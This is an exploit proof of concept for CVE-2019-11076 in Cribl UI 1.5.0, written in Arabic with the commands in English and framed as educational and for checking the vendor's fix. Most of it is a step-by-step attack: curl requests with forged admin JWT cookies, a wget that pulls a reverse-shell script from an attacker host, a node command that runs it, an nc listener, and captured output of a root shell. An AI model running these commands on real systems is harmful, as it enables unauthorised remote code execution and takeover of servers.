
CVE-2019-11076 - Cribl UI 1.5.0 يسمح للمهاجمين عن بعد بتنفيذ أوامر عشوائية عبر طلب ويب غير مصادق.
هذا للأغراض المعلوماتية/التعليمية فقط.
تم تجميع هذا لإظهار نقطة ضعف في الأداة، وذلك للتحقق من الإصلاح من قبل البائع.
تم الاختبار على Cribl الإصدار 1.5.0 - الإصدارات السابقة لم يتم اختبارها ولكنها على الأرجح معرضة للخطر.
يمكن نقل رمز JWT صالح من وحقنه في جلسة مثيل Cribl آخر، مما يمنح المستخدم وصولاً غير مصرح به.
علاوة على ذلك، يمكن استخدام مفتاح التشفير المستخدم لإنشاء JWT/جلسة لإنشاء جلسة صالحة لأي اسم مستخدم، مع صلاحية ممتدة.
هذا، إلى جانب القدرة على تشغيل النصوص البرمجية داخل Cribl، يسمح لمهاجم عن بعد بتشغيل كود ضار على مثيل Cribl لكسب المزيد من السيطرة.
يمكن رؤية مثال على ذلك أدناه، باستخدام صفحة النصوص البرمجية ورمز JWT طويل الصلاحية، كان من الممكن إنشاء شل عكسي.
تم الاختبار باستخدام Docker (Alpine).
أولاً، قم بتعديل (اسم المضيف البعيد) وقم بتحميل shell.js إلى خادم الويب الخاص بك. الملف يحتوي على كود NodeJS لإنشاء شل عكسي إلى موقعك.
يجب أن يكون للخادم وصول شبكة صادر إلى المضيف/المنفذ البعيد الخاص بك.
ثانياً، قم بإعداد مستمع على مضيفك البعيد، على المنفذ المطابق لـ shell.js:
nc -lvp 6669
قم بتعديل أوامر curl التالية مع ملفك البعيد.
شغل أوامر CURL بالترتيب، ويجب أن تتطابق المخرجات تقريباً مع المسافات البادئة أدناه.
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...